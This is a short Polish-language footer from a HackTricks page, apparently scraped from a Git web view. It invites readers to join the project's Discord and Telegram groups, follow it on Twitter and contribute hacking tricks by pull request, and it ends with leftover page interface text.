* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
Loading…
Add table
Reference in a new issue